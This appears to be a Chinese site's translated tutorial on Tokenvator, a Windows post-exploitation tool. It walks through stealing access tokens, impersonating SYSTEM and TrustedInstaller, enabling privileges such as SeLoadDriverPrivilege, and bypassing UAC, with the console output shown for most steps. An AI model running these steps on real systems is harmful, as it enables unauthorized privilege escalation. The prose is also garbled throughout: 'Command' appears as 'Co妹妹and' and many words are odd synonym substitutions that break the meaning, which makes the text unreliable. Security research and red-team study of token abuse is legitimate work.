快捷搜索:  网络  后门  扫描  渗透  CVE  木马  黑客  as

怎么样使用Tokenvator以及Windows Tokens完成提权

今天给人人先容的是一款名鸣Tokenvator的工具,该工具采用.NET开发,可用于在Windows体系中提权。

怎么样使用Tokenvator以及Windows Tokens完成提权

工具下载

下载地址:【GitHub传送门

基本使用

Tokenvator可以直接在交互式终端中运行,详细的执行命令能够以命令行参数的情势提供。在交互模式下,可以用tab键补全命令,或双击tab键获取帮助信息。

C:\Users\badjuju>Tokenvator.exe
(Tokens)> help
Name                     Optional            Required
----                     --------            --------
GetSystem                Co妹妹and             -
GetTrustedInstaller      Co妹妹and             -
Steal_Token              Co妹妹and             ProcessID
BypassUAC                ProcessID           Co妹妹and
List_Privileges          ProcessID           -
Set_Privilege            ProcessID           Privilege
List_Processes           -                   -
List_Processes_WMI       -                   -
Find_User_Processes      -                   User
Find_User_Processes_WMI  -                   User
List_User_Sessions       -                   -
WhoAmI                   -                   -
RevertToSelf             -                   -
Run                      -                   Co妹妹and
 
(Tokens)> WhoAmI
Name                     Optional            Required
----                     --------            --------
WhoAmI                   -                   -
 
(Tokens)> WhoAmI
[*]Operating as LAB\badjuju

下面大部分截图显示的是在交互模式下的命令运行情形:

怎么样使用Tokenvator以及Windows Tokens完成提权

Steal_Token

从最基本的功能来说,Tokenvator可以用来走访并修改Windows认证令牌,为了获取到特定进程的令牌,我们需要结合目标进程的PID来运行Steal_Token命令。

(Tokens)> Steal_Token
Name                     Optional            Required
----                     --------            --------
Steal_Token              Co妹妹and             ProcessID
 
(Tokens)> Steal_Token 7384
[*]Adjusting Token Privilege
[+]Received luid
[*]AdjustTokenPrivilege
[+]Adjusted Token to: SeDebugPrivilege
[*]Impersonating 7384
[+]Recieved Handle for:  (7384)
[+]Process Handle: 824
[+]Primary Token Handle: 828
[+]Duplicate Token Handle: 824
 
(Tokens)> whoami
[*]Operating as lab\backup

或者我们也能够添加额外的命令选项来使用新的走访令牌。

(Tokens)> Steal_Token 7384 powershell.exe
[*]Adjusting Token Privilege
[+]Received luid
[*]AdjustTokenPrivilege
[+]Adjusted Token to: SeDebugPrivilege
[+]Recieved Handle for:  (7384)
[+]Process Handle: 860
[+]Primary Token Handle: 864
[+]Duplicate Token Handle: 860
[*]CreateProcessWithTokenW
[+]Created process: 14524
[+]Created thread: 18784

WindowsPowerShell
Copyright(C) Microsoft Corporation. All rights reserved.
 
PSC:\WINDOWS\system32> whoami
lab\backup
PSC:\WINDOWS\system32> $pid
14524

GetSystem

一般来说,我们经常需要窃取的就是NT AUTHORITY\SYSTEM账号,而GetSystem命令可以帮助我们自动搜索并走访SYSTEM令牌。它的使用语句跟Steal_Token的类似:

(Tokens)> GetSystem
[*]Adjusting Token Privilege
[+]Received luid
[*]AdjustTokenPrivilege
[+]Adjusted Token to: SeDebugPrivilege
[*]Searching for NT AUTHORITY\SYSTEM
[*]Examining 344 processes
[*]Discovered 118 processes
[*]Impersonating 5488
[+]Recieved Handle for:  (5488)
[+]Process Handle: 888
[*]Impersonating 4444
[+]Recieved Handle for:  (4444)
[+]Process Handle: 868
[+]Primary Token Handle: 904
[+]Duplicate Token Handle: 868
 
(Tokens)> WhoAmI
[*]Operating as NT AUTHORITY\SYSTEM
 
(Tokens)> RevertToSelf
[*]Reverted token to lab\badjuju

怎么样使用Tokenvator以及Windows Tokens完成提权

在某些情形下,要是没有抬举到SYSTEM权限的话,我们可能没法直接走访到特定进程的令牌,譬如说NT SERVICE账号(内陆SQL服务进程)。

怎么样使用Tokenvator以及Windows Tokens完成提权

GetTrustedInstaller

还有一种常见情形,就是SYSTEM32目录或部分注册表内容属于TRUSTEDINSTALLER组,为了修改这些地位的数据,我们要么拿到数据的拥有权,要么拿到TRUSTEDINSTALLER组成员的走访令牌。跟GetSystem类似,GetTrustedInstaller也是一个Steal_Token的封装其,它可以开启TrustedInstaller服务并获取到相应的令牌。

怎么样使用Tokenvator以及Windows Tokens完成提权

List_Privileges以及Set_Privilege

有的时辰,黑客网,我们的进程不一定拥有所要实现义务必备的权限。譬如说,为了走访一个当前用户没法走访的进程,我们就需要SeDebugPrivilege 的帮助了。下面显示的是在一个高度完备的进程中对令牌的切分(UAC Elevated – TokenElevationTypeFull)。

怎么样使用Tokenvator以及Windows Tokens完成提权

接下来,我们尝试以治理员身份来运行notepad.exe,并查看其走访令牌:

怎么样使用Tokenvator以及Windows Tokens完成提权

测试完notepad.exe的令牌以后,我们可以尝试增添SeLoadDriverPrivilege来看看会发生什么。注意:权限名称是大小写敏感的。

怎么样使用Tokenvator以及Windows Tokens完成提权

很显然,notepad.exe可以加载一个驱动器了,而且能做的还有更多,我们以后还会增添权限移除的功能,敬请期待。

UAC绕过

完成UAC绕过的要领有很多种,但最有趣的一种就是修改令牌了。FuzzySecurity在行使Windows令牌完成UAC绕过方面做过很多研究,感兴致的同砚可以查看其GitHub代码库【传送门】,Tokenvator也包含了FuzzySecurity所完成的手艺。鄙人面的测试中,我们位提权的令牌可以用来走访当前用户拥有的特权进程,并生成特权Shell。

怎么样使用Tokenvator以及Windows Tokens完成提权

这类要领之后极可能也不会被修复,因为这更像是一种功能。

查找用户进程

起首,我们需要查看体系注册的会话信息:

(Tokens)> List_User_Sessions
User                          SessionID
----                          ---------
0
badjuju                       1
backup                        2

下面是List_Processes命令所完成的器械,即获取用户进程的概览:

(Tokens)> List_Processes
User                                    ProcessID          Process Name
----                                   ----------          ------------
lab\badjuju                             4000

List_Processes行使的是主机的原生API,在列举进程以及用户方面速率无比快。由于在某些情形下要是没有完成提权的话,某些功能照样没法正常运行的,因此List_Processes_WMI便应运而生。很显然,它的功能是通过WMI完成的,所以它的速率肯定没有List_Processes快,然则它可以在非提权场景下正常运行。

(Tokens)> List_Processes_WMI
[*]Examining 102 processes
User                                    ProcessID          Process Name
----                                   ----------          ------------
\                                       0                   Idle
LAB\BADJUJU                             448                 taskhost
LOCAL\0XBADJUJU                         1568

我们还可以直接列举出特定用户场景下所有运行的进程信息:

(Tokens)> Find_User_Processes WINDOWS7ENTERPR\BADJUJU
[*]Examining 100 processes
[*]Discovered 29 processes
ProcessID                    Process Name
----------                    ------------
3268                          calc
3520                          cmd
2604                          cmd
4000                          conhost
4664                          conhost
920                           conhost
1972                          conhost
4928                          conhost
2760                          conhost
656                           dwm
1776                          explorer
5048                          msvsmon
5352                          msvsmon
3412                          notepad
3552                          powershell
3116                          powershell_ise
2464                          rdpclip
4820                          rundotnetdll32
3944                          taskhost
448                           taskhost
3424                          Tokenvator
4892                          VCSExpress

跟List_Processes机制类似,它也可以在非特权场景下通过WMI实现相同的工作:

(Tokens)> Find_User_Processes_WMI LOCAL\0xBADJUJU
[*]Examining 102 processes
[*]Discovered 31 processes
ProcessID                    Process Name
----------                    ------------
1568                          cmd.exe
2108                          conhost.exe
1936                          procexp64.exe
3544                          cmd.exe
3608                          conhost.exe
3892                          x64dbg.exe

总结

这款工具是我跟NetSPI团队共同开发的,希翼能给人人提供帮助,要是人人在使用过程中发现了问题的话,可以在GitHub上留言。

* 参考来源:netspi,Alpha_pck编译,

您可能还会对下面的文章感兴趣: